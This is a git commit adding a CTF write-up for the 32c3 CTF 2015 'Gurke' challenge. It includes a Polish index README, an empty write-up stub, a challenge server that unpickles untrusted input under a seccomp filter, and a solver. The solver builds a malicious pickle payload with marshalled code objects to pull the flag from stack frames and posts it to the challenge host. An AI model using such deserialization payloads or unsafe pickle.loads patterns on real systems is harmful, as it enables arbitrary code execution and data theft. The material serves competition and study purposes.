added 32c3

Author: Pharisaeus

2015-12-27-32c3/README.md

@@ -0,0 +1,11 @@
+# Writeup 32c3 CTF 2015
+
+Uczestniczyliśmy (cr019283, c7f.m0d3, mnmd21891, msm, Rev, other019, nazywam i Shalom) w 32c3 CTF 2015, i znowu spróbujemy opisać zadania z którymi walczyliśmy (a przynajmniej te, które pokonaliśmy).
+
+### Spis treści:
+* [Forth (Pwn) 150](forth_pwn_150)
+* [Teufel (Pwn) 200](teufel_pwn_200)
+* [HD44780 (Embedded) 150](hd44780_embedded_150)
+* [TinyHosting (Web) 250](tiny_hosting_web_250)
+* [Gurke (Misc) 300](gurke_misc_300)
+

2015-12-27-32c3/gurke_misc_300/README.md

@@ -0,0 +1,7 @@
+##Gurke (Misc, 300p)
+
+###PL
+[ENG](#eng-version)
+
+
+### ENG version

2015-12-27-32c3/gurke_misc_300/gurke.py

@@ -0,0 +1,48 @@
+#!/usr/bin/env python
+import sys
+import os
+
+import socket
+import pickle
+import base64
+import marshal
+import types
+import inspect
+import encodings.string_escape
+
+class Flag(object):
+    def __init__(self):
+        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        s.connect(("172.17.0.1", 1234))
+        self.flag = s.recv(1024).strip()
+        s.close()
+flag = Flag()
+
+from seccomp import *
+
+f = SyscallFilter(KILL)
+f.add_rule_exactly(ALLOW, "read")
+f.add_rule_exactly(ALLOW, "write", Arg(0, EQ, sys.stdout.fileno()))
+f.add_rule_exactly(ALLOW, "write", Arg(0, EQ, sys.stderr.fileno()))
+f.add_rule_exactly(ALLOW, "close")
+f.add_rule_exactly(ALLOW, "exit_group")
+
+f.add_rule_exactly(ALLOW, "open", Arg(1, EQ, 0))
+f.add_rule_exactly(ALLOW, "stat")
+f.add_rule_exactly(ALLOW, "lstat")
+f.add_rule_exactly(ALLOW, "lseek")
+f.add_rule_exactly(ALLOW, "fstat")
+f.add_rule_exactly(ALLOW, "getcwd")
+f.add_rule_exactly(ALLOW, "readlink")
+f.add_rule_exactly(ALLOW, "mmap", Arg(3, MASKED_EQ, 2, 2))
+f.add_rule_exactly(ALLOW, "munmap")
+f.load()
+
+data = os.read(0, 4096)
+try:
+    res = pickle.loads(data)
+    print 'res: %r\n' % res
+except Exception as e:
+    print >>sys.stderr, "exception", repr(e)
+
+os._exit(0)

2015-12-27-32c3/gurke_misc_300/solver.py

@@ -0,0 +1,28 @@
+import base64
+import marshal
+import requests
+
+
+def fun1(frames):
+    return frames[3][0]
+
+
+def fun2(frames_data):
+    return frames_data[-6][1]['flag'].flag
+
+code1 = base64.b64encode(marshal.dumps(fun1.func_code))
+code2 = base64.b64encode(marshal.dumps(fun2.func_code))
+
+
+class Flag(object):
+    def __init__(self):
+        self.flag = 'test'
+
+flag = Flag()
+data = "cos\nwrite\n(I1\nctypes\nFunctionType\n(cmarshal\nloads\n(cbase64\nb64decode\n(S'"+code2+"'\ntRtR(dS''\n))tR(cinspect\ngetmembers\n(ctypes\nFunctionType\n(cmarshal\nloads\n(cbase64\nb64decode\n(S'"+code1+"'\ntRtR(dS''\n(t(ttR(cinspect\ngetouterframes\n(cinspect\ncurrentframe\n)RtRtRtRtRtR."
+url = "http://136.243.194.43/"
+result = requests.post(url, data=data)
+print(result.text)
+# res = pickle.loads(data)
+# print('res: %r\n' % res)
+

README.md

@@ -1,5 +1,6 @@
 # CTF writeups from P4 Team
 
+* [2015.12.27 **32c3 CTF 2015** (46th place / 389 teams)](2015-12-27-32c3)
 * [2015.12.05 **SECCON CTF 2015** (12th place / 872 teams)](2015-12-05-seccon)
 * [2015.11.28 **9447 Security Society CTF 2015** (21st place / 595 teams)](2015-11-28-9447)
 * [2015.11.20 **Defcamp CTF Finals 2015** (11th place / 15 teams out of 378 teams)](2015-11-20-dctffinals)